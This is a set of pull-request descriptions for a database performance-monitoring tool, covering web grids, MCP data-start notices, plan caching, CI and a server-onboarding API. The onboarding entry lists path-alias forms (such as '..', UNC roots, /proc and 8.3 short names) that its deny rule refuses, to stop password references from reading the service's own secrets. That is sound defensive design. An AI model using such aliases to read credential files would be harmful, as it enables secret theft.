ENTRY: - **Web File I/O tab charts write latency, and the Version Store trend spans 7 days** ([#5198]) - the server page's File I/O latency panel now draws a write-latency chart beside the read-latency chart, and the FinOps Version Store size trend covers the last 7 days instead of 24 hours, as the desktop viewer does.
REF: [#5198]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5198

* Web grids: the composed-panel, alert-rule test and Fleet Sweeps tables get the main grid's tools through one shared helper (#5188)


Part of #4843

## What users see change
- The composed-panel table, the alert-rule editor's test result and the Fleet Sweeps record tables (band changes, would-have-paged, per-server verdicts, watch items, store-host settings) now sort by header, filter per column, and have Copy cell / Copy row / Copy all / Export CSV, as the Server-page grids do.
- Copy and CSV carry the filtered rows in the shown order. CSV carries raw values: the stored bucket instant and the value as the panel returns it (already in the panel's unit) in a composed panel, the raw reading in the rule test, the stored timestamps in watch items.
- Sort, filter text and the picked cell survive the 60 s redraw and are kept per table AND per server (composed panels: panel identity plus the scope's server; rule test: the editor route; sweeps: route plus table, watch items per state shown).

## What changed
- `panels.js`: `vizTable` is now a thin wrapper over a new exported `gridTable(rows, desc)`, which holds everything it did (sort, column groups, filters, Copy, CSV, `copy:false`). Two small column fields for pages that build their own cells: `display(row)` (text shown over a raw value) and `cellClass(row)`.
- `compose.js`, `alert-editor.js`, `pages/sweeps.js` draw their tables through `gridTable`. `renderTestResult` is exported for the test. `renderComposedResult` now passes the scope through so the table is keyed by server.
- No CSS change: the grids reuse the existing grid-tool and filter rules.

## Each renderer
- **Composed table:** sort, filters, Copy, CSV.
- **Alert-rule test result:** all of them. The verdict column sorts, filters and copies as its text ("Yes — Critical", "No", "no data").
- **Sweeps:** all of them on the five record tables.
- **Left out:** the sweeps page's "Instrument / Reading" and "Host / Value" cards stay plain two-column readouts (label and sentence, not rows to sort or export). The storage-growth heatmap is untouched, as agreed.

## Not changed
`vizTable` behaviour, `grid-tools.js`, #5183's filter code, column groups.

## Verified at the head
- New `GridAdoptionBehaviourTests` (node harness `web-grid-adoption-harness.mjs`): 4/4. RED on dev: all four scenarios throw (no filter/Copy buttons on composed and sweeps tables, `renderTestResult` and `gridTable` not exported). The `vizTable` pin proves identical groups, `copy:false` control column with no filter button, sort, filtered Copy/CSV with all columns, the empty and no-fields strips.
- `GridFilterBehaviourTests` 8/8, `GridToolsBehaviourTests` 9/9, `GridSortBehaviourTests` 10/10, `ColumnGroupsBehaviourTests` 6/6, `WebModuleLoadTests` 7/7, `ServerPageTabsTests` 20/20, `AlertNotebookRenderBehaviourTests` 7/7, `FleetSweepWebFeedTests` 39/39.
- Load harness: 48 modules load. The compose-notice harness's panels.js stand-in gained a `gridTable` stub.
- Guard family (76 classes) and classes naming changed files/symbols (FinOpsTab*PageTests, Web*Tests, Chart*, DarlingCompose, DarlingWebAssets): green except `LivePostgresCollectionHygieneTests` (WPF load, Mac-local, on the known list).
- Full Darling.Tests on this Mac: every failure is on the dev-local list; none in the web classes.
- Source-text pin caught and fixed: `FleetSweepWebFeedTests` pins `w.fleet_scope ? "Fleet" : (w.server || "server " + w.server_id)` verbatim, and the watch table keeps that exact expression.
- Lite.Tests: no class names a changed web symbol; nothing for a VM run.

## CHANGELOG entry
SECTION: Changed
ENTRY: The composed-panel table, the alert-rule test result and the Fleet Sweeps tables in the web dashboard now sort, filter by column, copy and export to CSV like the main grids ([#5188])

## Round-1 review fixes
- Two untitled or same-titled composed table panels on one view no longer share sort, filters or the picked cell: the key now falls through an empty title (`||`) and carries the panel's position on its view.
- Fleet Sweeps "Fleet" and "server N" labels now sort, filter and export as shown. The watch-items Position column sorts by its count.
- An empty `cellClass` result no longer adds the class "undefined".
- Sweep tables are keyed by the selected sweep, and the alert test table by the rule (or by the draft for a new rule).
- New tests: two untitled panels, `renderComposedInto` against the real grid, and `vizTable` edge shapes.

* MCP: Darling's system-health, default trace, wait, latch and spinlock tools say where their data starts (part of #4966) (#5191)

Thirteen Darling MCP tools now say where their data starts, with the contract Lite's twins and Darling's other window-floor tools use: the nine get_health_parser_* tools, get_default_trace_events, get_wait_stats, get_latch_stats and get_spinlock_stats write effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, and the health and default trace tools carry the same keys under hints on an empty answer. not_collected and unavailable stay bare, a data answer over 90 minutes or less starts no probe, and a failed probe costs the notice, never the rows.

System health and default trace probe their table's coverage (system_health_events, default_trace_events: the later of the retention edge and the server's registration, counting every event type and the collector's runs), so a rare event type on an old server does not read as a late start. These reads window on event time and a first collection stores history from before itself, so the notice names the earlier of the coverage start and the earliest qualifying event (the desktop System Events rule), taken from every row the read returned before the page limit; default trace times are converted from the server's own clock first. Wait, latch and spinlock stats sum their raw table over the window on collection_time; their rank caps hide no time range, so truncated and window_truncated stay independent.

On the web page, the ten health and default trace reads are not yet on the web's list: their table panels show the tool's own note on a data answer when the window was cut.

Tests: the live classes for every tool (a start inside the window, a quiet start, a backfilled event, a sparse event type, a limited page naming its earliest qualifying event, a window with no coverage but events in it, empty answers with hints, the key order, a short window, a capped page, a failed probe), and the census and EffectiveStartUtcTests rosters.

Part of #4966

* WEB: the PostgreSQL stat tiles say where their data starts (part of #4966) (#5193)

WEB: the PostgreSQL stat tiles say where their data starts (part of #4966)

Part of #4966. The web PostgreSQL Overview and Vacuum tabs showed five windowed reads with no data-start note, so a server whose history starts after the window's start mixed a partial window into its peaks, growth counts and first-to-last deltas without saying so.

- WebDataStartNote maps the five reads to their collector tables. get_pg_wraparound_risk (pg_wraparound_stats) and get_pg_write_stats (pg_write_stats) are dense and use the table rule. get_pg_xmin_horizon, get_pg_autovacuum_health and get_pg_replication_slots write rows only while something exists, so they are probed on the collector's logged runs (collectors pg_xmin_horizon, pg_autovacuum_stats, pg_replication_slots). no_holder is admitted as xmin's nothing-found word, because the tool answers it only after captures exist in the window; no_slots and no_pending_maintenance stay out, conservatively.
- server-tabs.js: the note draws on every panel that shows a window figure (Per-Database Headroom, Horizon Holders, Autovacuum Backlog and Tables Behind, Replication Slots and Slot Summary, Checkpoints and WAL). It is opted out (windowNote: false) on the panels that show only the newest reading or a constant: Where the Thresholds Are, the Vacuum tab's Freeze Headroom and What Holds the Horizon tiles, and the Overview's Freeze Headroom and xmin Horizon tiles (a small momentStat helper).
- Tests: WebDataStartNoteTests pins the map, the probe choice, the admitted words and each opt-out; WebDataStartNoteLiveTests covers all six sparse reads; the page harness checks which panels draw the note; ServerPageTabsTests' descriptor roster now counts momentStat tiles.

* procedure_stats: the deferred plan fetch, collector half, inert (#5158) (#5194)

procedure_stats can now carry a known plan digest and fetch module plans in a second target query, the same collector-side mechanism #5173 added for query_stats. Nothing in the service turns it on yet, so production behaviour is unchanged.

**Why.** On one production store, about 94% of the procedure_stats plan XML rendered in an hour was a repeat of a plan the store already held (17× the distinct volume). The over-cap plans were re-rendered on every capture run.

**Identity.** A module's plan cannot be identified by its handle and `cached_time` alone: a statement-level recompile rewrites one statement's plan inside the same cached module plan. So in deferred mode, the main query carries a small fingerprint from `sys.dm_exec_query_stats` over the module's plan handle: the statement count, the latest statement compile time and the summed plan-generation number. These are three identity-only columns, not payload columns. The fingerprint's SQL is provisional until its cost is measured.

**What changes.**
- With the deferred flag off, the main query, the reader ordinals and the payload are byte-identical to before. Four SQL goldens prove it, hashed from the unchanged code.
- The plan column goes through `PayloadOrDigest`. The host sets the plan size from its cache for a known identity, as for query_stats, so the size column and the oversized-plan backlog both see it.
- `BuildPlanFetchQuery` takes plan handles and always fetches the whole module, offsets 0 and -1. It reuses query_stats' fetch query, with no copy.
- `TryParsePlanHandle` parses the shipped hex handle.

**Tests.** The new tests cover:
- the deferred and inline query shapes;
- the module-offset pin;
- the shared fetch query;
- handle parsing;
- the reader ordinals;
- the digest path;
- a known over-cap identity still recorded as oversized;
- no quote in the nested dynamic-SQL fragments;
- byte-for-byte goldens of the unchanged SQL.

The fragment-strip test is line-ending safe.

Part of #5158

* Tests: the system-health and default-trace window-notice tests get their own live-postgres classes (part of #4966) (#5214)

LivePostgresCollectionHygieneTests failed on dev: #5191 added the system-health and default-trace window-notice tests as second partial parts of the existing live classes, so the [Collection("live-postgres")] attribute sat only on the other part, and the guard, which checks each file's declaration header, flagged the new files (a duplicate attribute on the second part would not compile). Each window-notice file now declares its own non-partial class with [Collection("live-postgres")] (DarlingMcpHealthParserToolsWindowNoticeLiveTests, DarlingMcpDefaultTraceToolsWindowNoticeLiveTests), the shape the guard recommends, and the two original classes are no longer partial. The tests themselves are unchanged; the guard is unchanged.

Part of #4966

* DARLING: the store keeps an hourly history of its own pg_stat_statements deltas (V163, part of #5097) (#5203)

The Darling store now keeps an hourly history of its own pg_stat_statements deltas. Migration V163 adds three plain tables: collect.store_statement_captures (one row per hourly snapshot: the interval, how many statements were active, how many the cap hid, the extension's dealloc count, and the outcome), collect.store_statement_history (per-statement deltas of calls, time, rows and blocks for the 100 statements that spent the most time in the hour), and config.store_statement_baseline (the cumulative counters the next delta is taken against; state, not data, so no purge ages it out). History and captures are kept 90 days.

The hourly store self-metrics sweep runs StoreStatementHistory.SnapshotAsync in its own catch and its own 120-second slice of the sweep budget, so a slow or failing snapshot never skips the collector-cost and read-latency flushes after it. One transaction per pass: a reader that fails rolls the whole pass back and leaves the baseline alone. The deltas are computed in SQL against the stored baseline, so service restarts, store restarts and nightly upgrades lose nothing; the epoch is stats_reset (unchanged: subtract; a reset after the previous capture: credit the current counters whole; any other change: record a new baseline and no history). It reads only through config.store_statement_stats(); when that reader is unusable (the extension not installed or not preloaded, or no TEMP privilege), the pass writes one precondition capture and no history. A failure warns once and then logs at Debug until a pass succeeds, with the SqlState.

The viewer's schema probe gains the V163 arm. No MCP tool or tool description changes; a reader tool comes later.

Tests: the rung's shape, the epoch decision's cases, the SQL and worker pins (its own slice, the ready check), and live cases against a scratch store with planted reader functions: the first capture, a same-epoch delta (with NULL and with real stats_reset stamps), an entry restart, a reset inside the interval, a rebaseline, the top-100 cap and its hidden count, retention keeping the baseline, a precondition capture for an unloaded extension, and a failing reader that rolls the pass back. The migration ladder, plain-table census and alert-read exemption pins follow the new rung.

Part of #5097

* CI: per-test Lite timings as an artifact, and temporary cap guards while #5208 is open (#5211)

CI: per-test Lite timings as an artifact, and temporary cap guards while #5208 is open

Part of #5208. Lite.Tests on the hosted Windows runners grew from about 9½ minutes of test time to about 45 in five days (+7 min/day on ~110 new tests), and the nightly was cancelled at its 90-minute build cap during the unsharded Lite run. This makes the slowdown measurable and keeps CI and the nightly from failing on it; it does not fix it.

- Every Lite.Tests run in CI writes an xUnit v3 result file (-xml) with per-test durations, uploaded as a 7-day artifact: lite-tests-timing-<shard> (one file per chunk), lite-tests-timing-nightly and lite-tests-timing-release. The run commands, the sharding and the release's single unsharded pass are otherwise unchanged.
- .github/scripts/lite-timing-top.py prints the 25 slowest classes and tests after each run; it skips an unreadable file and prints UTF-8. The summary and upload steps are if: always() and continue-on-error, so they can never turn a job red.
- Temporary guards, each commented as a guard against timeout reds and not a fix, to come back down when #5208 is fixed: lite-tests timeout-minutes 20 -> 30, and the nightly build job 90 -> 150. The release job has no cap of its own and is unchanged.

* Web: the event grids' data-start note uses the earliest event shown (part of #4966) (#5197)

The web server page's data-start note now handles event grids. Blocked Process Reports, Long Query Completions, Memory Pressure Events and Default Trace join the web's listed reads. Each lists events by their own time, and a first collection stores a server's earlier event history, so the note names the earlier of the collector's coverage start and the earliest event shown (the desktop viewer's ViewerEventDataStart.Of rule, moved from the viewer to Darling.Storage so the web and the viewer share one copy). History that reaches the window start shows no note.

The capped-list rule is table-driven (CappedByRead, six reads): a capped page names its oldest row shown without asking the store, Blocked Process Reports by truncated and oldest_returned_event_time, Default Trace by total_events above shown. The collection log's slowest-first escape and the PostgreSQL config changes' behaviour are unchanged, and all six capped reads share one as_of window end. Long Query Completions is ranked by duration, so on a truncated page its oldest row says nothing about reach and the note uses the coverage start alone. memory_pressure_events gets its own probe source, and the Memory Pressure grid now draws the note on a data answer too.

Tests: live cases for the four reads (history reaching back before coverage names its earliest event; history reaching the window start gives none); no-store cases for the capped Default Trace and Blocked Process Reports pages and the truncated long-query page; the CappedByRead key set pinned; the Memory Pressure page harness. The desktop viewer classes using the moved rule pass on Windows.

Part of #4966

* MCP: Darling's blocking stats and PostgreSQL deadlock and log event tools say where their data starts (part of #4966) (#5205)

Three more Darling MCP tools say where their data starts: get_blocking_stats, get_pg_deadlocks and get_pg_log_events write effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, and the same keys under hints on an empty answer. not_collected and the runtime precondition stay bare and are decided before any probe; a data answer over 90 minutes or less starts no probe; a failed probe costs the notice, never the rows.

get_blocking_stats holds two separate per-minute series, so its one notice sits at the LATER of their two start points, as its Lite twin's does. Blocking takes the earlier of the blocked process reports' and the DMV blocking snapshots' coverage (they stand in for each other, the sources get_blocking probes); deadlocks take theirs; each series first takes the earlier of its coverage and its own oldest bucket, because both read on event time and a first collection can store events from before itself. A series whose collector started inside the window can no longer hide behind the other's coverage.

get_pg_deadlocks and get_pg_log_events are newest-first capped event lists: the floor is the earlier of the coverage probe (ForCollectorTable over pg_deadlocks and pg_log_events, both with a schedule retention edge) and the oldest event shown, through the same ReadEventAsync the SQL Server event tools use. The notice is coverage whether or not the cap cut the page; the answer reports the cap through truncated.

Tests: get_blocking_stats' live cases (each series covered or late in both orders, the later floor winning, deadlock rows only, XE early and DMV late, both covered, an event older than its collection, empty hints, a short window, a failed probe) and a new PgEventToolsWindowFloorLiveTests for the two PostgreSQL tools (including a full capped page beside an early coverage reading covered while truncated); the census and EffectiveStartUtcTests rosters.

Part of #4966

* The store accepts a known plan digest for a row and keeps that plan alive (inert, #5158) (#5174)

The store accepts a known plan digest for a row and keeps that plan alive (inert, #5158)

Part of #5158, the second of three PRs. No collector passes a digest yet, so nothing changes.

- PgCollectorRowWriter.PayloadOrDigest: a known digest with no content writes the digest straight into the row's digest column, adds it to the batch's touch set, and inserts no dimension row. A malformed digest throws (hex, exactly 32 bytes), and so does a known digest at a position with no dimension diversion, which would otherwise write a row with no plan. Every other call is today's path. The digest is PayloadDimensions.Digest's own output; nothing re-derives it.
- PayloadDimensionWriter.FlushAsync runs one statement per dimension table in the batch's transaction (PayloadDimensions.TouchSql). It refreshes last_seen for the touched digests older than the existing 6-hour guard, and returns the touched digests that have no dimension row, as upper-case hex.
- The touch takes FOR UPDATE SKIP LOCKED. The upsert and the touch are two locking statements, so no single lock order covers both, and two batches that each upsert one stale digest and touch the other's would otherwise deadlock. Skipping a locked row is safe: whoever holds it is refreshing it, a holder that rolls back is retouched next cycle, and the dimension sweep cannot be the holder because it only reaches rows at least the guard plus a day old.
- Tests: PayloadDigestPassThroughLiveTests (8): a digest-only row resolves its plan like a content row; the 6-hour guard; the absent report, including a lower-case digest; content wins over an offered digest; the throws; and two batches on two connections that neither wait nor deadlock (removing SKIP LOCKED fails it with a lock timeout).

* query_stats fetches plan XML only for plans this host hasn't stored, behind queryStatsDeferredPlanFetch (on) (#5158) (#5209)

query_stats fetches plan XML only for plans this host hasn't stored, behind queryStatsDeferredPlanFetch (on) (#5158)

Fixes #5158 for query_stats; procedure_stats follows separately. The third of three PRs: #5173 added the collector's deferred fetch and #5174 the store's digest-only write; this wires them together and turns them on.

- Every query_stats run rendered sys.dm_exec_text_query_plan for its ~200 rows and shipped the XML, though almost all were already stored: 53.75 GB/h rendered and 28.83 GB/h shipped on one large store against 1.14 GB/h distinct, with the busiest server's slow runs more than 90% result drain.
- PlanDigestCache<TKey>, one per server for the service's lifetime, keyed for query_stats on QueryStatsPlanKey (server, database, plan_handle, statement offsets, creation_time, plan_generation_num). An entry is confirmed only after the store commit succeeds, including after a store-write reattempt; digests the store reports missing are evicted ignoring case; entries unseen for an hour are pruned.
- For query_stats with plan capture on, the main query runs without plan columns. On the same target connection and within the same per-item budget, a cache hit carries the stored digest and size (an over-cap hit the size with a NULL plan), and misses go to one BuildPlanFetchQuery call, split above 1,000 keys. A failed second query ships the rows without plans, caches nothing and logs one Warning. No store probe runs first; the host's confirmed commits are the authority. Azure SQL Database keeps the inline capture.
- queryStatsDeferredPlanFetch in darling.json, default true, read at service start; false gives today's inline SQL exactly. Documented in the README. Each run records plans_rendered, plans_rendered_bytes and plan_fetch_ms in its collection log note.
- Accepted differences: a statement recompile between the two queries can store the new plan under the old identity for that one row; a plan the engine updates in place without a recompile keeps its first-rendered XML until the identity changes; after a restart each server renders once in full.
- Tests: PlanDigestCacheTests (identity sensitivity, confirm-after-commit, over-cap, case-insensitive eviction, the split, plan_fetch_ms) and QueryStatsDeferredPlanFetchLiveTests against SQL Server 2022 and the store (run 2 renders no cached plan and resolves through v_query_stats; sp_recompile re-fetches; a plan freed between the queries; an over-cap plan kept by size).

* Lite.Tests: seed the slowest stores in one transaction instead of one commit per row (#5208) (#5224)

Lite.Tests: seed the slowest stores in one transaction instead of one commit per row (#5208)

Part of #5208. The hosted-runner timings show the largest Lite.Tests costs are tests that seed a DuckDB store one auto-committed INSERT per row; on the hosted Windows disk each commit costs about 0.2 s. Test code only; no assertion changes.

- SeedBatch (SharedDuckDbFixture.cs) runs a seed loop inside one transaction. BEGIN and COMMIT take the read lock like each seed statement; callers commit explicitly before the code under test reads, and a commit on dispose is best-effort so it cannot mask a seed failure.
- QuerySnapshotPlanOnDemandTests' 3,500-row benchmark (676 s on a hosted runner) seeds its rows with one INSERT ... SELECT FROM range(3500), the same rows the loop produced; both assertions are unchanged.
- FloorHelper_ReadsTheArchivedFloor_NotJustTheHotTable (1,000 commits to 2), McpReadToolBudgetTests (about 200+ to 1), PerformanceCalendarDataTests' daily range (about 700 to 1), ObjectLockingBudgetTests (200 to 1) and IndexObjectStatsTests (6 to 1) seed inside one batch.
- McpReadToolBudgetTests now also asserts its largest answer is over 2,000 bytes, so an invisible seed cannot pass the budget check vacuously.

* Add POST /api/servers: web server onboarding on the viewer role (#4843) (#5167)


Part of #4843

## What users see change

An admin seat (an OIDC admin, the shared-token seat, or loopback-only mode) can add monitored servers over HTTP with `POST /api/servers`. The body is the same JSON array of server objects the MCP `add_servers` tool takes, and the answer is that tool's own `{requested, added, skipped, collided, failed, results}` envelope. There is no page yet; the Add Server form is a later PR. A read-only seat is refused with 403.

## What changed

- **The grant.** `GRANT INSERT ON config.config_monitored_servers TO viewer;` in `DarlingManagedRoles.cs`, mirrored in `tools/provision-roles.sql`. The role description, the provisioning status line and the README write-surface paragraph name it. The remove route's PR adds DELETE.
- **The route.** `MapServers` in `DarlingWebEndpoints.cs`, beside the mute and tag routes. It calls the existing `add_servers` core, so there is one validation path: the same accepted auth modes, the probe from the service before saving, and typed refusals for duplicates, collisions and probe failures.
- **Tests.** `ServerAddRouteTests` (21), `ServerAddViewerRoleLiveTests` (3, live), and a new pin in `DarlingManagedRolesTests`.

## The grant, in detail

**The grant.**
- INSERT only. No UPDATE (the core never updates a row) and no DELETE (no web route removes a server yet). A live test proves `UPDATE ... SET is_enabled` and `UPDATE ... SET encrypted_password` both fail 42501 for a role holding exactly the shipped viewer grants.
- `encrypted_password` stays SELECT-carved from viewer, so the web host can write a password blob and never read one back. Two things were checked while building: the INSERT names no `RETURNING`, and its `ON CONFLICT (server_id) DO NOTHING` needs no carved read. The add test connects as a NOSUPERUSER role built by replaying every GRANT/REVOKE in the managed batch that names viewer, adds a server through the real core, and then shows `SELECT encrypted_password` is still 42501.
- The reload-beacon trigger fires as viewer through the existing two-column `config_service` grant; the live test asserts `config_version` advanced.
- The WPF read-only probe is unchanged: it asks about `config_alert_log` UPDATE, which this does not touch.
- The password travels only in the request body. The route never echoes it, never logs it, and keeps it out of error text.
- The core's caught-exception envelope never reaches the wire. It answers through the fixed 500/503 body, and the failure log carries the sentence, not the request.
- A route-level catch logs only the exception type.
- As a backstop, any submitted password that appears in the core's answer is replaced with `[redacted]` before it is written. The core's answers carry none today.
- Checked the capture paths: nothing in the web host buffers or logs request bodies (no `EnableBuffering`, no HTTP logging), and `read_latency` is not on this route.
- Tests send a recognisable fake secret and assert it appears in no response and no captured log line, across 415, 403, 429, the 20-entry cap, an oversized body, six malformed bodies, a core fault, the core's error envelope, a whole-request refusal and a leaky answer.
- At most 20 servers per request (400 above that).
- 64 KB body cap.
- One add in flight per process: a second gets 429. The slot is released when the core faults.
- Duplicate names are the core's typed `duplicate` refusal.

## What's not changed

- `DELETE /api/servers/{name}` and the Add Server page are separate PRs.
- No change to the core's validation, storage (DPAPI on Windows, `env:`/`file:` references elsewhere) or any MCP tool text.
- No schema change.

## CHANGELOG entry

SECTION: Added
ENTRY: - **Add monitored servers from the web dashboard's API** ([#5167]) - `POST /api/servers` adds servers through the same checks and connection test as the MCP `add_servers` tool, for admin seats only: at most 20 servers per request, one add at a time, and the password is never echoed or logged. The web role gains INSERT on the monitored-server list, and still cannot read the stored password. Re-run `provision-roles.sql` on a bring-your-own store.
REF: [#5167]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5167

## Security, final design

The owner's ruling: references stay allowed with no operator opt-in and no extra steps, because requiring one would break ordinary Linux and container installs where a reference is the only way to supply a SQL password. One rule stands in their place, and it lives in the shared core so the MCP tool is covered as well as this route.

- **The rule.** A `file:` or `env:` password reference must not point at this service's own configuration or secrets. `ParseEntry` in `Mcp/DarlingMcpServerAdminTools.cs` calls `DarlingOwnedSecrets.ReferenceRefusal` immediately after the literal-secret check, reading the password from the same `JsonObject` the core already parsed, so the route and the core cannot disagree about a value. The refusal is one fixed sentence that names no path and no variable.
- **What is owned.** `DarlingConfig.Parse` captures every `env:`/`file:` reference AS WRITTEN, before resolution, by a reflection walk over string properties and string collections (depth cap 8, cycle guard). Capturing after resolution was the original defect: the store's connection string is replaced with the resolved value at parse time, so the store's own credential file never entered the set. The set also holds the config directory; the managed store's data directory resolved through `DarlingManagedPostgres.ResolveDataDirectory` (the raw property is null in a default install, which left a default managed deployment owning nothing); that directory's parent credential files; the compose credential directory and the log-hash-key directory; and the service's own environment names. A census test reads the source and fails when a new `GetEnvironmentVariable` literal or a new secret-ish config property is not covered.
- **Fails closed.** Until the owned set has been populated, every reference is refused. A guard that exists only when configuration happened to load is not a guard. The CLI add-server path already loads configuration before reaching the core.
- **Aliases.** A path that is not rooted, or contains a `..` segment, a `\\?\` or `\\.\` prefix, a UNC root, a leading `~`, a second `:`, or a `/proc` or `/sys` root is refused as a class, because no real secret path needs those forms. Everything else is compared by FILE IDENTITY — `st_dev`/`st_ino` on Unix, volume plus file ID on Windows — after symlink resolution with a hop cap. Identity is what catches a symlink, a case variant on a case-insensitive filesystem, and a Windows 8.3 short name, none of which `Path.GetFullPath` resolves. A reference to a file that does not exist yet is judged through its nearest existing parent.
- **Deliberate scope limit.** A hard link placed OUTSIDE an owned directory that points at an owned file is accepted. Creating one requires local filesystem access as a user who can already read the target, and such a user does not need this route. An earlier revision scanned owned directories for matching identities to catch it, which cost up to 20,000 stat calls on an interactive add over directories that include the PostgreSQL data directory; that scan was removed. `AHardLinkToAnOwnedFile_PlacedOutsideTheOwnedDirectory_IsAccepted` pins the decision so it is visible rather than forgotten.
- **Failure text.** Connection failures return the core's own reason, so an operator can tell a refused connection from a timeout, a TLS failure or a bad login. Any submitted secret is replaced in the answer as a backstop, and the full detail is logged server-side.
- **The in-flight slot.** One add at a time. A second request while one is running gets 429. After 120 seconds the caller gets 503, and the slot stays held until the add actually finishes, so two adds can never run at once; the 503 says a restart clears a slot held by an add that never completes. Every synchronous fault from the core releases the slot, cancellation included.
- **The grant is INSERT only.** DELETE arrives with the remove-server PR.

## Verified, and what is not

- **Verified on this Mac:** `OwnedSecretReferenceRefusalTests` and `DarlingOwnedSecretsCensusTests` together with `ServerAddRouteTests` and `DarlingMcpServerAdminToolsTests`, 61 tests, 0 failed, run by pm-pr-worker on the final head rather than taken from a lane's report. An independent diff of every repo-source-scanning test class against a dev baseline at the same commit shows no new failure. scrubcheck is clean on the diff and on this report.
- **Proven by mutation, not just by passing:** the fail-closed change, the resolved managed data directory, and the compose credential directory each have a test that FAILS before the fix.
- **NOT verified on this machine:** the Windows file-identity path (`CreateFileW` plus `GetFileInformationByHandle`) and the 8.3 short-name case run only as stand-in unit tests here. A Windows VM run of the two owned-set classes is requested. That run also reports `fsutil 8dot3name query C:`, because a short-name test on a volume with 8.3 generation disabled passes without proving anything; if it is disabled the result is recorded as NOT VERIFIED rather than as a pass.
- **Short-name case, updated:** the 8.3 test now creates its own short name (`SetFileShortNameW`, falling back to `fsutil file setshortname`), reads it back, and fails if neither works, so the Windows run decides it rather than the volume's 8.3 setting. It skips on non-Windows hosts, including this Mac.
- **Owned set in the tests, updated:** the live role tests and the off-Windows `ParseRequest` test now populate the owned set with an empty-but-populated one (and restore it), and the fail-closed rule has its own test in the add core's path: with the set left unpopulated, `ParseRequest` refuses every reference entry (RED when the set is populated).

## Review history

Round 1 (security) found the reference-resolution exposure and the probe's error detail. Round 2 found that the owned set was captured after resolution, that the OIDC secret and stored server passwords were missing from it, and that path-text comparison could be defeated by an alias. Round 3 found that a default managed install owned no store files at all, that the compose credential directory was missing, and that an unpopulated set failed open. Rounds 2 and 3 each hit a turn limit before writing their file, so pm-pr-worker transcribed them into `design/pm-pr-worker/reviews/review-5167-r2.md` and `review-5167-r3.md`.

## Windows verification (pm-worker-2's VM, head af361abdb)

Build: 0 warnings, 0 errors. `OwnedSecretReferenceRefusalTests` + `DarlingOwnedSecretsCensusTests`: 33 tests, 0 failed, 0 skipped — the Windows-only test RUNS there, where it skips on macOS. A separate `*ShortName*` method run reported 3 tests, 0 failed, 0 skipped, with no skip or failure lines, so each case below ran rather than being reported green by a class total:

- **`AFileGivenAnExplicit83ShortName_IsRefusedByItsShortPath_AsWellAsItsLongPath`: PASSED.** The test creates its own file, gives it an explicit 8.3 short name (`SetFileShortNameW`, falling back to `fsutil file setshortname`, which works unelevated), reads the short name back to prove it exists, and only then asserts the refusal. It fails rather than passes if the short name cannot be created, so a green result means the condition really existed. The volume's own 8.3 auto-generation setting is unreadable without elevation, which is why the test creates the name instead of relying on it.
- **`AnAliasWhoseTextDiffersButWhoseIdentityMatches_IsRefused_LikeAWindowsShortName`: PASSED.** This failed on Windows at an earlier head. The cause was the TEST, not the code: it injected a fake identity map keyed on Unix-style paths, while `RealPath` runs `Path.GetFullPath` before the identity lookup, and on Windows a leading slash roots to the current drive, so the key gained a `C:` prefix and never matched. Both sides now normalise identically.

Nothing in the identity path is now unproved on Windows.

## One failure that is NOT this PR's

`DarlingMcpServerAdminToolsSurfaceTests.DescriptionMatchesTheAuthModesTheParserAccepts` fails on macOS. A lane raised it as a possible fourth CI failure from this branch; it is not. Run on the same machine against `origin/dev` and against this branch, it fails identically on both (69 tests with 1 failure, and 70 with 1 failure — the extra test being this PR's new fail-closed case). It also does not fail in CI, where other tests in that same class do run, so it is macOS-local rather than off-Windows generally. Nothing here changed it.

* MCP: seventeen Darling PostgreSQL tools say where their data starts, and two say why they don't need to (part of #4966) (#5201)

Seventeen Darling PostgreSQL MCP tools now say where their data starts, and two say why they need no notice. This also carries the work first opened as #5212.

Fifteen tools write effective_start (UTC, with a Z), window_truncated and truncation_note after hours_back on a data answer and under hints on an empty one: wait stats, wait sampling, kernel stats, lock stats, predicate stats, server config changes, top queries, database stats, I/O stats, plans, CPU utilization, blocking, session states, replication stats and the xmin horizon. Each probes the very source the web page's own note probes, through DarlingMcpWindowNotice.SourceFor and WebDataStartNote.TryGetReadSource: the collector's logged runs for the sparse blocking, session-state, replication and xmin-horizon reads, the table's coverage otherwise; CPU utilization, the one read the web does not list, probes its own table, and the web strips its keys and draws no note because its panel is a chart. Config changes report coverage whether or not the page was capped; the answer reports the cap through truncated. A test holds each tool's source equal to the web's, and the set of unlisted reads is pinned.

Write stats take their keys from their own first sample (the span the differences cover), with no probe; index usage takes them from its table's coverage, with a note that scans_in_window undercounts a short history, and joins the web's list. Index bloat and column stats are newest-per-key reads whose own coverage verdicts answer the right question, so they carry no notice, pinned by a test.

not_collected, not_sampled, unavailable and precondition stay bare and are decided before any probe; a data answer over 90 minutes or less starts no probe; a failed probe costs the notice, never the rows.

Tests: the live classes for every tool (a start inside the window, a quiet start, the sparse quiet start where runs precede the first row, a capped page, an empty answer with hints, the key order, a short window, a failed probe, a gap across the window's start for write stats), the source-equality theory, the census and EffectiveStartUtcTests rosters.

Part of #4966

* Web: Silence This Server / Unsilence on the fleet page (#5221)


Part of #4843

## What users see change

On the fleet page, a seat that can edit gets a small **Silence** button on each server card. One click, after a confirm, mutes every alert for that server; the card shows the muted bell at once and the button becomes **Unsilence**. Unsilence (also confirmed) removes the rule. A read-only seat sees no button. Before this, a user had to build the rule by hand on the Mute Rules page.

## What changed

- `pages/fleet.js`: the button, the two actions and their module-scope state.
- `pages/mute-rules.js`: `createRule` and `deleteRule` are now exported, so the fleet page uses the same writes the Mute Rules page uses.
- `css/app.css`: three rules beside the card header rules.
- Two stale comments in `DarlingFleetReader.cs` that said the web has no silence action.
- Tests: `FleetSilencePageTests` (source pins), `FleetSilenceBehaviourTests` with `web-fleet-silence-harness.mjs` (Node), and two existing pins updated (`FleetPageAttentionFilterTests` for the grid mount line; `web-kept-history-harness.mjs` copies the new imports of `fleet.js`).

**Route.** The existing `POST /api/mute-rules` and `DELETE /api/mute-rules/{id}`. The create route already takes `server_id`, `server_name` and `reason`, so it accepts the shape of the desktop's `BuildServerSilenceRule` (store server id, no pattern fields, no expiry, reason "Silenced from server list"). No new route. The server write gate (`DarlingWebSeat.IsRequestAllowed`) still decides; the page only hides the button when `/api/session` says `can_edit` is false.

